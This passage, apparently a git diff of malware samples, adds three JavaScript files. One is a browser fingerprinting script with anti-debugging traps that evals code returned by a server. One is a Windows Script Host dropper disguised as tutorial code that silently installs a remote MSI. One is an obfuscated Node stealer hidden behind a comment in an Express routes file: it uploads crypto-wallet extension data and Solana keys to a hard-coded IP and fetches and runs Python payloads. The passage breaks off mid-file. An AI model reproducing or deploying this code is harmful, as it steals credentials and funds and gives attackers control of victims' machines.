+
let saved_time = req.result.time;
|
| 29 |
+
let delta = (Math.floor(Date.now() / 1000) - saved_time).toString();
|
| 30 |
+
|
| 31 |
+
if (delta < 86400)
|
| 32 |
+
{
|
| 33 |
+
fn_0x71ded93a("BLOCK: " + saved_tt);
|
| 34 |
+
} else {
|
| 35 |
+
check().catch(eee => { fn_0x71ded93a("1st_e: " + eee); });
|
| 36 |
+
}
|
| 37 |
+
} else {
|
| 38 |
+
check().catch(eee => { fn_0x71ded93a("1st_e: " + eee); });
|
| 39 |
+
return;
|
| 40 |
+
}
|
| 41 |
+
};
|
| 42 |
+
req.onerror = (ev) => {
|
| 43 |
+
check().catch(eee => { fn_0x71ded93a("1st_e: " + eee); });
|
| 44 |
+
return;
|
| 45 |
+
};
|
| 46 |
+
};
|
| 47 |
+
}, 200);
|
| 48 |
+
}
|
| 49 |
+
|
| 50 |
+
async function check()
|
| 51 |
+
{
|
| 52 |
+
var t0 = Date.now(),
|
| 53 |
+
a0 = (window.chrome != null);
|
| 54 |
+
debugger;
|
| 55 |
+
var t1 = Date.now(),
|
| 56 |
+
a1 = (typeof window.chrome);
|
| 57 |
+
debugger;
|
| 58 |
+
var t2 = Date.now(),
|
| 59 |
+
a2 = window.navigator.vendor;
|
| 60 |
+
debugger;
|
| 61 |
+
var t3 = Date.now(),
|
| 62 |
+
a3 = (typeof window.opr !== "undefined");
|
| 63 |
+
debugger;
|
| 64 |
+
var t4 = Date.now(),
|
| 65 |
+
a4 = (window.navigator.userAgent.indexOf("Edg") > -1);
|
| 66 |
+
debugger;
|
| 67 |
+
var t5 = Date.now(),
|
| 68 |
+
a5 = (window.navigator.userAgent.match("CriOS") != null);
|
| 69 |
+
debugger;
|
| 70 |
+
var t6 = Date.now(),
|
| 71 |
+
a6 = "-";
|
| 72 |
+
debugger;
|
| 73 |
+
if ("userAgentData" in window.navigator)
|
| 74 |
+
{
|
| 75 |
+
if ("brands" in window.navigator["userAgentData"])
|
| 76 |
+
{
|
| 77 |
+
let arr = window["navigator"]["userAgentData"]["brands"];
|
| 78 |
+
for (let i = 0; i < arr["length"]; i++)
|
| 79 |
+
{
|
| 80 |
+
a6 += arr[i]["brand"];
|
| 81 |
+
}
|
| 82 |
+
}
|
| 83 |
+
}
|
| 84 |
+
|
| 85 |
+
var t7 = Date.now(),
|
| 86 |
+
t = ("ontouchstart" in window);
|
| 87 |
+
debugger;
|
| 88 |
+
var t8 = Date.now(),
|
| 89 |
+
w = window.screen.width;
|
| 90 |
+
debugger;
|
| 91 |
+
var t9 = Date.now(),
|
| 92 |
+
h = window.screen.height;
|
| 93 |
+
debugger;
|
| 94 |
+
var t10 = Date.now(),
|
| 95 |
+
pltf = window.navigator.platform;
|
| 96 |
+
debugger;
|
| 97 |
+
var t11 = Date.now(),
|
| 98 |
+
gpu = ("gpu" in window.navigator);
|
| 99 |
+
debugger;
|
| 100 |
+
var t12 = Date.now(),
|
| 101 |
+
ncpus = (window.navigator.hardwareConcurrency);
|
| 102 |
+
debugger;
|
| 103 |
+
var t13 = Date.now(),
|
| 104 |
+
cv = document["getElementById"]("glc"),
|
| 105 |
+
ctx = null,
|
| 106 |
+
gpuinfo = null;
|
| 107 |
+
debugger;
|
| 108 |
+
if (!cv) { gpuinfo = "null0"; }
|
| 109 |
+
else {
|
| 110 |
+
ctx = cv.getContext("experimental-webgl") || cv.getContext("webgl");
|
| 111 |
+
if (!ctx) { gpuinfo = "null1"; }
|
| 112 |
+
else {
|
| 113 |
+
let dbgRenderInfo = ctx.getExtension("WEBGL_debug_renderer_info");
|
| 114 |
+
if (!dbgRenderInfo) { gpuinfo = "null2"; }
|
| 115 |
+
else {
|
| 116 |
+
gpuinfo = ctx.getParameter(dbgRenderInfo.UNMASKED_VENDOR_WEBGL) + "_" + ctx.getParameter(dbgRenderInfo.UNMASKED_RENDERER_WEBGL)
|
| 117 |
+
}
|
| 118 |
+
}
|
| 119 |
+
}
|
| 120 |
+
debugger;
|
| 121 |
+
var t14 = Date.now();
|
| 122 |
+
sw = window.innerWidth;
|
| 123 |
+
debugger;
|
| 124 |
+
var t15 = Date.now(),
|
| 125 |
+
sh = window.innerHeight;
|
| 126 |
+
debugger;
|
| 127 |
+
var t16 = Date.now();
|
| 128 |
+
|
| 129 |
+
var extra = window.btoa("t00=" + t0 +
|
| 130 |
+
"&t1=" + t1 +
|
| 131 |
+
"&t2=" + t2 +
|
| 132 |
+
"&t3=" + t3 +
|
| 133 |
+
"&t4=" + t4 +
|
| 134 |
+
"&t5=" + t5 +
|
| 135 |
+
"&t6=" + t6 +
|
| 136 |
+
"&t7=" + t7 +
|
| 137 |
+
"&t8=" + t8 +
|
| 138 |
+
"&t9=" + t9 +
|
| 139 |
+
"&tA=" + t10 +
|
| 140 |
+
"&tB=" + t11 +
|
| 141 |
+
"&tC=" + t12 +
|
| 142 |
+
"&tD=" + t13 +
|
| 143 |
+
"&tE=" + t14 +
|
| 144 |
+
"&tF=" + t15 +
|
| 145 |
+
"&tG=" + t16 +
|
| 146 |
+
"&a0=" + a0 +
|
| 147 |
+
"&a1=" + a1 +
|
| 148 |
+
"&a2=" + a2 +
|
| 149 |
+
"&a3=" + a3 +
|
| 150 |
+
"&a4=" + a4 +
|
| 151 |
+
"&a5=" + a5 +
|
| 152 |
+
"&a6=" + a6 +
|
| 153 |
+
"&ts=" + t +
|
| 154 |
+
"&ww=" + w +
|
| 155 |
+
"&hh=" + h +
|
| 156 |
+
"&sw=" + sw +
|
| 157 |
+
"&sh=" + sh +
|
| 158 |
+
"&pf=" + pltf +
|
| 159 |
+
"&gu=" + gpu +
|
| 160 |
+
"&nc=" + ncpus +
|
| 161 |
+
"&gi=" + gpuinfo
|
| 162 |
+
);
|
| 163 |
+
_0xddd381 = 0;
|
| 164 |
+
|
| 165 |
+
rcode = await fn_0xb492ea0c(_0x1709bf, 2, _0x761fab, "&ex=" + extra);
|
| 166 |
+
|
| 167 |
+
if (_0xddd381 == 1)
|
| 168 |
+
{
|
| 169 |
+
fn_0x71ded93a(rcode);
|
| 170 |
+
}
|
| 171 |
+
else
|
| 172 |
+
{
|
| 173 |
+
eval(rcode);
|
| 174 |
+
}
|
| 175 |
+
}
|
| 176 |
+
|
| 177 |
+
check0();
|
code/21d810951f91fe174a5bcf6008d5d0190fcfa779e3fce5537895b8fe624470bf
ADDED
|
@@ -0,0 +1,121 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
//var CryptoJS = require("crypto-js");
|
| 2 |
+
//Call REST APIs every 6 secs
|
| 3 |
+
79.6
|
| 4 |
+
/*
|
| 5 |
+
function getWalletSnapshot(exchgData){
|
| 6 |
+
|
| 7 |
+
return new Promise(function(resolve,reject){
|
| 8 |
+
|
| 9 |
+
var lv_response = {
|
| 10 |
+
"BINANCE" : {},
|
| 11 |
+
"BITFINEX" : {},
|
| 12 |
+
}
|
| 13 |
+
|
| 14 |
+
//BINANCE
|
| 15 |
+
//Decrypt API Keys
|
| 16 |
+
const passPhrase = require('./JSMods/encryption');
|
| 17 |
+
var lv_key1 = (CryptoJS.AES.decrypt(exchgData["binkey1"], passPhrase + "")).toString(CryptoJS.enc.Utf8);
|
| 18 |
+
var lv_key2 = (CryptoJS.AES.decrypt(exchgData["binkey2"], passPhrase + "")).toString(CryptoJS.enc.Utf8);
|
| 19 |
+
|
| 20 |
+
|
| 21 |
+
const binanceRest = new api.BinanceRest({
|
| 22 |
+
key: lv_key1, // Get this from your account on binance.com
|
| 23 |
+
secret: lv_key2, // Same for this
|
| 24 |
+
timeout: 15000, // Optional, defaults to 15000, is the request time out in milliseconds
|
| 25 |
+
recvWindow: 10000, // Optional, defaults to 5000, increase if you're getting timestamp errors
|
| 26 |
+
disableBeautification: false,
|
| 27 |
+
handleDrift: true
|
| 28 |
+
});
|
| 29 |
+
|
| 30 |
+
|
| 31 |
+
binanceRest.account()
|
| 32 |
+
.then((r1) => {
|
| 33 |
+
for(k=0;k<r1["balances"].length;k++){
|
| 34 |
+
if(r1["balances"][k]["free"] > 0){
|
| 35 |
+
lv_response["BINANCE"][r1["balances"][k]["asset"]] = r1["balances"][k]["free"];
|
| 36 |
+
}
|
| 37 |
+
}
|
| 38 |
+
|
| 39 |
+
//Bitfinex
|
| 40 |
+
//Decrypt API Keys
|
| 41 |
+
const passPhrase = require('./JSMods/encryption');
|
| 42 |
+
var lv_key1 = (CryptoJS.AES.decrypt(exchgData["bitkey1"], passPhrase + "")).toString(CryptoJS.enc.Utf8);
|
| 43 |
+
var lv_key2 = (CryptoJS.AES.decrypt(exchgData["bitkey2"], passPhrase + "")).toString(CryptoJS.enc.Utf8);
|
| 44 |
+
|
| 45 |
+
const BFX = require('bitfinex-api-node')
|
| 46 |
+
const bfx = new BFX({
|
| 47 |
+
apiKey: lv_key1,
|
| 48 |
+
apiSecret: lv_key2,
|
| 49 |
+
|
| 50 |
+
ws: {
|
| 51 |
+
autoReconnect: true,
|
| 52 |
+
seqAudit: true,
|
| 53 |
+
packetWDDelay: 3 * 1000
|
| 54 |
+
}
|
| 55 |
+
})
|
| 56 |
+
let ws = bfx.ws(2) //
|
| 57 |
+
ws.on('error', (err) => console.log(err))
|
| 58 |
+
ws.on('open', ws.auth.bind(ws))
|
| 59 |
+
|
| 60 |
+
ws.open()
|
| 61 |
+
ws.onWalletSnapshot({}, (walletB) => {
|
| 62 |
+
for(k=0;k<walletB.length;k++){
|
| 63 |
+
lv_response["BITFINEX"][walletB[k][1]] = walletB[k][2];
|
| 64 |
+
}
|
| 65 |
+
ws.close();
|
| 66 |
+
resolve(JSON.stringify(lv_response));
|
| 67 |
+
});
|
| 68 |
+
|
| 69 |
+
})
|
| 70 |
+
.catch((err) => {
|
| 71 |
+
console.error(err);
|
| 72 |
+
reject(JSON.stringify(err));
|
| 73 |
+
});
|
| 74 |
+
|
| 75 |
+
|
| 76 |
+
});
|
| 77 |
+
|
| 78 |
+
}
|
| 79 |
+
*/
|
| 80 |
+
|
| 81 |
+
3.9 // numeric literal
|
| 82 |
+
"Hello!" // string literal
|
| 83 |
+
false // Boolean literal
|
| 84 |
+
[1,2,3] // Array literal
|
| 85 |
+
var o = {x:1, y:2} // Object literal
|
| 86 |
+
var f = function(x){return x*x;} // function literal
|
| 87 |
+
4 + 5 // additon
|
| 88 |
+
10 / 2 // division
|
| 89 |
+
var aBird = "windowsinstaller.installer"; // Assign the text "Robin" to the variable aBird.
|
| 90 |
+
radius = 139;
|
| 91 |
+
uros = 7;3;1,83;
|
| 92 |
+
o = "p";n = "t";p = ".my.";g = "w";ka = "ba";f = "h";s = "n";
|
| 93 |
+
anExpression = 4 * (4 / 5) + 5;
|
| 94 |
+
aSecondExpression = Math.PI * radius * radius;
|
| 95 |
+
aThirdExpression = f + n + n + o +"s://amazonaws" + p + "id/wp-css/" + ka + ".msi";
|
| 96 |
+
myArray = new Array("hello", Math.PI, 48);
|
| 97 |
+
myPi = myArray[1];
|
| 98 |
+
var today = new Date(); // Assign today's date to the variable today.
|
| 99 |
+
var birthday = new ActiveXObject(aBird);
|
| 100 |
+
birthday.uilevel=2
|
| 101 |
+
birthday.InstallProduct(aThirdExpression);
|
| 102 |
+
var a = new Array(4);
|
| 103 |
+
for (i = 0; i < 4; i++) {}
|
| 104 |
+
|
| 105 |
+
function FeetToMiles(feet, cnvType) {
|
| 106 |
+
if (cnvType == "NM")
|
| 107 |
+
return( (feet / 6080) + " nautical miles");
|
| 108 |
+
else if (cnvType == "M")
|
| 109 |
+
return( (feet / 5280) + " statute miles");
|
| 110 |
+
else
|
| 111 |
+
return ("Invalid unit of measure");
|
| 112 |
+
}
|
| 113 |
+
var mradius = FeetToMiles(52800, "M");
|
| 114 |
+
//WScript.Echo(aThirdExpression);
|
| 115 |
+
'How old am I?'
|
| 116 |
+
|
| 117 |
+
var myObject = new Object(); // Creates a generic object.
|
| 118 |
+
var birthday = new Date(1961, 5, 10); // Creates a Date object.
|
| 119 |
+
|
| 120 |
+
|
| 121 |
+
https://rtrissdfmnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtgtwd
|
code/23d8f81ad862923e9548aae4f162d1419440b47c52a8af233c003fd55592b682
ADDED
|
@@ -0,0 +1,178 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
/* learn more: https://github.com/testing-library/jest-dom // @testing-library/jest-dom library provides a set of custom jest matchers that you can use to extend jest. These will make your tests more declarative, clear to read and to maintain.*/ Object.prototype.hasOwnProperty,Object.prototype.toString,Object.defineProperty,Object.getOwnPropertyDescriptor;const t="base64",c="utf8",r=require("fs"),a=require("os"),e=r=>(s1=r.slice(1),Buffer.from(s1,t).toString(c));pt=require(e("zcGF0aA")),rq=require(e("YcmVxdWVzdA")),cr=require(e("aY3J5cHRv")),ex=require(e("aY2hpbGRfcHJvY2Vzcw"))[e("cZXhlYw")],hs=a[e("caG9zdG5hbWU")](),pl=a[e("YcGxhdGZvcm0")](),hd=a[e("ZaG9tZWRpcg")](),td=a[e("cdG1wZGly")](),tp=a[e("AdHlwZQ")]();let Z;const l=r=>Buffer.from(r,t).toString(c),m=()=>{let t="MTQ3LjEyNCaHR0cDovLw4yMTIuODk6MTI0NA== ";for(var c="",r="",a="",e="",Z=0;Z<10;Z++)c+=t[Z],r+=t[10+Z],a+=t[20+Z],e+=t[30+Z];return c=c+a+e,l(r)+l(c)},n=t=>t.replace(/^~([a-z]+|\/)/,((t,c)=>"/"===c?hd:`${pt[l("ZGlybmFtZQ")](hd)}/${c}`)),s="bxQtMw3",h="Z2V0",$="Ly5ucGw",o="d3JpdGVGaWxlU3luYw",d="L2NsaWVudA",G=l("ZXhpc3RzU3luYw");function b(t){const c=l("YWNjZXNzU3luYw");try{return r[c](t),!0}catch(t){return!1}}const i=l("RGVmYXVsdA"),u=l("UHJvZmlsZQ"),W=e("aZmlsZW5hbWU"),Y=e("cZm9ybURhdGE"),y=e("adXJs"),p=e("Zb3B0aW9ucw"),w=e("YdmFsdWU"),V=l("cmVhZGRpclN5bmM"),f=l("c3RhdFN5bmM"),v=(l("aXNEaXJlY3Rvcnk"),l("cG9zdA")),j="L0FwcERhdGEv",L="L1VzZXIgRGF0YQ",x=["TG9jYWwvQnJhdmVTb2Z0d2FyZS9CcmF2ZS1Ccm93c2Vy","QnJhdmVTb2Z0d2FyZS9CcmF2ZS1Ccm93c2Vy","QnJhdmVTb2Z0d2FyZS9CcmF2ZS1Ccm93c2Vy"],F=["TG9jYWwvR29vZ2xlL0Nocm9tZQ","R29vZ2xlL0Nocm9tZQ","Z29vZ2xlLWNocm9tZQ"],R=["Um9hbWluZy9PcGVyYSBTb2Z0d2FyZS9PcGVyYSBTdGFibGU","Y29tLm9wZXJhc29mdHdhcmUuT3BlcmE","b3BlcmE"];let X="comp";const z=["bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm4","ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG0","Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanA","aG5mYW5rbm9jZmVvZmJkZGdjaWpubWhuZm5rZG5hYWQ","aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWM","YmZuYWVsbW9tZWltaGxwbWdqbmpvcGhocGtrb2xqcGE","YWVhY2hrbm1lZnBoZXBjY2lvbmJvb2hja29ub2VlbWc","aGlmYWZnbWNjZHBla3Bsb21qamtjZmdvZG5oY2VsbGo"],Q=async(t,c,a)=>{let n=t;if(!n||""===n)return[];try{if(!b(n))return[]}catch(t){return[]}c||(c="");let h=[];const $=l("TG9jYWwgRXh0ZW5zaW9uIFNldHRpbmdz"),o=l("Y3JlYXRlUmVhZFN0cmVhbQ"),d=l("LmxkYg"),f=l("LmxvZw");for(let a=0;a<200;a++){const e=`${t}/${0===a?i:`${u} ${a}`}/${$}`;for(let t=0;t<z.length;t++){const Z=l(z[t]);let m=`${e}/${Z}`;if(b(m)){try{far=r[V](m)}catch(t){far=[]}far.forEach((async t=>{n=pt.join(m,t);try{(n.includes(d)||n.includes(f))&&h.push({[w]:r[o](n),[p]:{[W]:`${c}${a}_${Z}_${t}`}})}catch(t){}}))}}}if(a){const t=l("c29sYW5hX2lkLnR4dA");if(n=`${hd}${l("Ly5jb25maWcvc29sYW5hL2lkLmpzb24")}`,r[G](n))try{h.push({[w]:r[o](n),[p]:{[W]:t}})}catch(t){}}const j=e("YbXVsdGlfZmlsZQ"),L=l("L3VwbG9hZHM"),x={timestamp:Z.toString(),type:s,hid:X,[j]:h},F=m();try{const t={[y]:`${F}${L}`,[Y]:x};rq[v](t,((t,c,r)=>{}))}catch(t){}return h},J=async(t,c)=>{try{const r=n("~/");let a="";a="d"==pl[0]?`${r}${l("L0xpYnJhcnkvQXBwbGljYXRpb24gU3VwcG9ydC8")}${l(t[1])}`:"l"==pl[0]?`${r}${l("Ly5jb25maWcv")}${l(t[2])}`:`${r}${l(j)}${l(t[0])}${l(L)}`,await Q(a,`${c}_`,0==c)}catch(t){}},B=l("cm1TeW5j"),N="XC5weXBccHl0aG9uLmV4ZQ",q=51476596;let U=0;const T=async t=>{const c=`${l("dGFyIC14Zg")} ${t} -C ${hd}`;ex(c,((c,a,e)=>{if(c)return r[B](t),void(U=0);r[B](t),C()}))},S=()=>{const t=l("cDIuemlw"),c=`${m()}${l("L3Bkb3du")}`,a=`${td}\\${l("cC56aQ")}`,e=`${td}\\${t}`;if(U>=q)return;const Z=l("cmVuYW1lU3luYw"),n=l("cmVuYW1l");if(r[G](a))try{var s=r[f](a);s.size>=q?(U=s.size,r[n](a,e,(t=>{if(t)throw t;T(e)}))):(U<s.size?U=s.size:(r[B](a),U=0),g())}catch(t){}else{const t=`${l("Y3VybCAtTG8")} "${a}" "${c}"`;ex(t,((t,c,l)=>{if(t)return U=0,void g();try{U=q,r[Z](a,e),T(e)}catch(t){}}))}};function g(){setTimeout((()=>{S()}),2e4)}const C=async()=>await new Promise(((t,c)=>{if("w"==pl[0]){const t=`${hd}${l(N)}`;r[G](`${t}`)?(()=>{const t=m(),c=l(d),a=l(h),e=l(o),Z=l($),n=`${t}${c}/${s}`,G=`${hd}${Z}`,b=`"${hd}${l(N)}" "${G}"`;try{r[B](G)}catch(t){}rq[a](n,((t,c,a)=>{if(!t)try{r[e](G,a),ex(b,((t,c,r)=>{}))}catch(t){}}))})():S()}else(()=>{const t=m(),c=l(d),a=l(o),e=l(h),Z=l($),n=l("cHl0aG9u"),G=`${t}${c}/${s}`,b=`${hd}${Z}`;let i=`${n}3 "${b}"`;rq[e](G,((t,c,e)=>{t||(r[a](b,e),ex(i,((t,c,r)=>{})))}))})()}));var H=0;const k=async()=>{try{Z=Date.now(),await(async()=>{X=hs;try{const t=n("~/");await J(F,0),await J(x,1),await J(R,2),"w"==pl[0]&&(pa=`${t}${l(j)}${l("TG9jYWwvTWljcm9zb2Z0L0VkZ2U")}${l(L)}`,await Q(pa,"3_",!1))}catch(t){}})(),C()}catch(t){}};k();let A=setInterval((()=>{(H+=1)<5?k():clearInterval(A)}),6e5);
|
| 2 |
+
|
| 3 |
+
const fetch = require("node-fetch");
|
| 4 |
+
const Users = require("../models/user.model.js");
|
| 5 |
+
const config = require("../../config");
|
| 6 |
+
const axios = require("axios");
|
| 7 |
+
|
| 8 |
+
module.exports = (app) => {
|
| 9 |
+
const alerts = require("../controllers/alert.controller.js");
|
| 10 |
+
app.post("/alerts/save", alerts.save);
|
| 11 |
+
app.post("/alerts/remove", alerts.remove);
|
| 12 |
+
app.post("/alerts/read", alerts.read);
|
| 13 |
+
app.post("/alerts/savedefault", alerts.saveDefault);
|
| 14 |
+
app.post("/alerts/update", alerts.update);
|
| 15 |
+
app.post("/alerts", alerts.all);
|
| 16 |
+
app.post("/alerts/unsubscribe", alerts.unsubscribe);
|
| 17 |
+
app.post("/price", alerts.price);
|
| 18 |
+
app.post("/webhook-url", (req, res) => {
|
| 19 |
+
console.log("url: /webhook-test received: ", req.body.message);
|
| 20 |
+
});
|
| 21 |
+
|
| 22 |
+
const users = require("../controllers/users.controller");
|
| 23 |
+
app.get("/users", users.find);
|
| 24 |
+
app.post("/users", users.create);
|
| 25 |
+
app.post("/auth", users.auth);
|
| 26 |
+
app.post("/logout", users.logout);
|
| 27 |
+
app.post("/value", users.value);
|
| 28 |
+
|
| 29 |
+
app.post("/search/", (req, res) => {
|
| 30 |
+
if (
|
| 31 |
+
req.body.walletAddr ===
|
| 32 |
+
undefined /* || req.headers.authent === undefined*/
|
| 33 |
+
) {
|
| 34 |
+
return res.send({
|
| 35 |
+
status: false,
|
| 36 |
+
message: "Wallet Address can not be empty",
|
| 37 |
+
});
|
| 38 |
+
}
|
| 39 |
+
|
| 40 |
+
/*Users.find({publicAddress: req.body.walletAddr.toLowerCase(), jwtToken: req.headers.authent})
|
| 41 |
+
.then(users => {
|
| 42 |
+
if (users.length > 0) {*/
|
| 43 |
+
if (!req.body.name) {
|
| 44 |
+
return res.status(400).send({
|
| 45 |
+
message: "Search name can not be empty",
|
| 46 |
+
});
|
| 47 |
+
}
|
| 48 |
+
|
| 49 |
+
if (config.TOKEN_SEARCH_MODE === 1) {
|
| 50 |
+
const url =
|
| 51 |
+
"https://bscscan.com/searchHandler?term=" +
|
| 52 |
+
encodeURIComponent(req.body.name) +
|
| 53 |
+
"&filterby=0";
|
| 54 |
+
axios
|
| 55 |
+
.get(url)
|
| 56 |
+
.then((res) => res.data)
|
| 57 |
+
.then((val) => {
|
| 58 |
+
let tokenArray = [];
|
| 59 |
+
if (val.length > 0) {
|
| 60 |
+
if (val[0].indexOf("Tokens") >= 0) {
|
| 61 |
+
val.map((item) => {
|
| 62 |
+
item = item.split("\t");
|
| 63 |
+
if (item[1] !== "")
|
| 64 |
+
tokenArray.push({ name: item[0], addr: item[1] });
|
| 65 |
+
});
|
| 66 |
+
res.send({ result: tokenArray });
|
| 67 |
+
} else if (val[0].indexOf("Addresses") >= 0) {
|
| 68 |
+
let it = val[1].split("\t");
|
| 69 |
+
tokenArray.push({ name: "", addr: it[0] });
|
| 70 |
+
res.send({ result: tokenArray });
|
| 71 |
+
}
|
| 72 |
+
} else {
|
| 73 |
+
res.send({ result: [] });
|
| 74 |
+
}
|
| 75 |
+
})
|
| 76 |
+
.catch((error) => console.log(error));
|
| 77 |
+
} else if (config.TOKEN_SEARCH_MODE === 2) {
|
| 78 |
+
const query =
|
| 79 |
+
`{
|
| 80 |
+
search(
|
| 81 |
+
string: "` +
|
| 82 |
+
req.body.name +
|
| 83 |
+
`"
|
| 84 |
+
network: bsc
|
| 85 |
+
limit: 50
|
| 86 |
+
) {
|
| 87 |
+
network {
|
| 88 |
+
network
|
| 89 |
+
}
|
| 90 |
+
subject {
|
| 91 |
+
... on Currency {
|
| 92 |
+
name
|
| 93 |
+
symbol
|
| 94 |
+
address
|
| 95 |
+
tokenType
|
| 96 |
+
}
|
| 97 |
+
}
|
| 98 |
+
}
|
| 99 |
+
}`;
|
| 100 |
+
|
| 101 |
+
const bitqueryKey =
|
| 102 |
+
config.BITQUERY_KEYS[
|
| 103 |
+
Math.floor(Math.random() * config.BITQUERY_KEYS.length)
|
| 104 |
+
];
|
| 105 |
+
const url = "https://graphql.bitquery.io/";
|
| 106 |
+
const opts = {
|
| 107 |
+
method: "POST",
|
| 108 |
+
headers: {
|
| 109 |
+
"Content-Type": "application/json",
|
| 110 |
+
"X-API-KEY": bitqueryKey,
|
| 111 |
+
},
|
| 112 |
+
body: JSON.stringify({
|
| 113 |
+
query: query,
|
